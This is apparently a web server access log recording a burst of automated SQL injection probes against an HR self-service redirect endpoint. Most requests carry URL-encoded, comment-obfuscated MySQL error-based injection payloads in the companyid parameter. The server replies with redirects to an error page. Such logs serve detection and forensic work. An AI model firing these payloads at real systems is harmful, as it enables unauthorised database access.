100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x794b6535%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x70527076%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x794b6535%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x70527076%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6d307872%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x514e6152%29%29x%29%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x35576354%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f346847%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x35576354%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f346847%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x3739524d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x49686d34%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x3739524d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x49686d34%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x426d3333%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x66574457%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x426d3333%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x66574457%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x70757864%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6153616e%29%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x70757864%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6153616e%29%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x754e5344%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x65745861%29%2C6420%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x754e5344%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x65745861%29%2C6420%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x5a716359%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x58594830%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x5a716359%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x58594830%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x386e544d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d373932%29%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x386e544d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d373932%29%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x576c4c70%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x50387238%29%2C5431%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x576c4c70%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x50387238%29%2C5431%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x7556717a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6b593375%29%2C5431%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x7556717a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6b593375%29%2C5431%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x67397338%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4263764e%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x67397338%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4263764e%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x4a586c4f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x54306e66%29%2C6420%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x4a586c4f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x54306e66%29%2C6420%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x724e364d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x47484435%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x724e364d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x47484435%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x34613075%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x44447464%29%29x%29%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x676e7530%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x324f7a51%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x39615737%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x65774569%29%29%2C1%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x68306d4d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x696d486a%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x4b615a35%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x76346246%29%29%2C1%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x794b6535%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x70527076%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:10 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
